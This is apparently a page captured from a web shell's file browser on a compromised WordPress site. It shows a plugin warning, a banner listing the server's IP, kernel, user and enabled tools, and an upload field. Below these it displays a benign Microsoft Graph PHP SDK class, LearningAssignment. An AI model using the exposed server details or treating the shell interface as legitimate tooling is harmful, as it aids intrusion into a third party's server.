Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8 [1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560 [2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85 [3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50 [4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13 [5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
| Server IP : 94.177.8.99 / Your IP : 216.73.217.165 Web Server : Apache/2.4.58 (Ubuntu) System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64 User : www-data ( 33) PHP Version : 8.1.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /proc/thread-self/cwd/vendor/microsoft/microsoft-graph/src/Model/ |
Upload File : |
<?php
/**
* Copyright (c) Microsoft Corporation. All Rights Reserved. Licensed under the MIT License. See License in the project root for license information.
*
* LearningAssignment File
* PHP version 7
*
* @category Library
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
namespace Microsoft\Graph\Model;
/**
* LearningAssignment class
*
* @category Model
* @package Microsoft.Graph
* @copyright (c) Microsoft Corporation. All rights reserved.
* @license https://opensource.org/licenses/MIT MIT License
* @link https://graph.microsoft.com
*/
class LearningAssignment extends LearningCourseActivity
{
/**
* Gets the assignedDateTime
* Assigned date for the course activity. Optional.
*
* @return \DateTime|null The assignedDateTime
*/
public function getAssignedDateTime()
{
if (array_key_exists("assignedDateTime", $this->_propDict)) {
if (is_a($this->_propDict["assignedDateTime"], "\DateTime") || is_null($this->_propDict["assignedDateTime"])) {
return $this->_propDict["assignedDateTime"];
} else {
$this->_propDict["assignedDateTime"] = new \DateTime($this->_propDict["assignedDateTime"]);
return $this->_propDict["assignedDateTime"];
}
}
return null;
}
/**
* Sets the assignedDateTime
* Assigned date for the course activity. Optional.
*
* @param \DateTime $val The assignedDateTime
*
* @return LearningAssignment
*/
public function setAssignedDateTime($val)
{
$this->_propDict["assignedDateTime"] = $val;
return $this;
}
/**
* Gets the assignerUserId
* The user ID of the assigner. Optional.
*
* @return string|null The assignerUserId
*/
public function getAssignerUserId()
{
if (array_key_exists("assignerUserId", $this->_propDict)) {
return $this->_propDict["assignerUserId"];
} else {
return null;
}
}
/**
* Sets the assignerUserId
* The user ID of the assigner. Optional.
*
* @param string $val The assignerUserId
*
* @return LearningAssignment
*/
public function setAssignerUserId($val)
{
$this->_propDict["assignerUserId"] = $val;
return $this;
}
/**
* Gets the assignmentType
* The assignment type for the course activity. Possible values are: required, recommended, unknownFutureValue. Required.
*
* @return AssignmentType|null The assignmentType
*/
public function getAssignmentType()
{
if (array_key_exists("assignmentType", $this->_propDict)) {
if (is_a($this->_propDict["assignmentType"], "\Microsoft\Graph\Model\AssignmentType") || is_null($this->_propDict["assignmentType"])) {
return $this->_propDict["assignmentType"];
} else {
$this->_propDict["assignmentType"] = new AssignmentType($this->_propDict["assignmentType"]);
return $this->_propDict["assignmentType"];
}
}
return null;
}
/**
* Sets the assignmentType
* The assignment type for the course activity. Possible values are: required, recommended, unknownFutureValue. Required.
*
* @param AssignmentType $val The assignmentType
*
* @return LearningAssignment
*/
public function setAssignmentType($val)
{
$this->_propDict["assignmentType"] = $val;
return $this;
}
/**
* Gets the dueDateTime
* Due date for the course activity. Optional.
*
* @return DateTimeTimeZone|null The dueDateTime
*/
public function getDueDateTime()
{
if (array_key_exists("dueDateTime", $this->_propDict)) {
if (is_a($this->_propDict["dueDateTime"], "\Microsoft\Graph\Model\DateTimeTimeZone") || is_null($this->_propDict["dueDateTime"])) {
return $this->_propDict["dueDateTime"];
} else {
$this->_propDict["dueDateTime"] = new DateTimeTimeZone($this->_propDict["dueDateTime"]);
return $this->_propDict["dueDateTime"];
}
}
return null;
}
/**
* Sets the dueDateTime
* Due date for the course activity. Optional.
*
* @param DateTimeTimeZone $val The dueDateTime
*
* @return LearningAssignment
*/
public function setDueDateTime($val)
{
$this->_propDict["dueDateTime"] = $val;
return $this;
}
/**
* Gets the notes
* Notes for the course activity. Optional.
*
* @return ItemBody|null The notes
*/
public function getNotes()
{
if (array_key_exists("notes", $this->_propDict)) {
if (is_a($this->_propDict["notes"], "\Microsoft\Graph\Model\ItemBody") || is_null($this->_propDict["notes"])) {
return $this->_propDict["notes"];
} else {
$this->_propDict["notes"] = new ItemBody($this->_propDict["notes"]);
return $this->_propDict["notes"];
}
}
return null;
}
/**
* Sets the notes
* Notes for the course activity. Optional.
*
* @param ItemBody $val The notes
*
* @return LearningAssignment
*/
public function setNotes($val)
{
$this->_propDict["notes"] = $val;
return $this;
}
}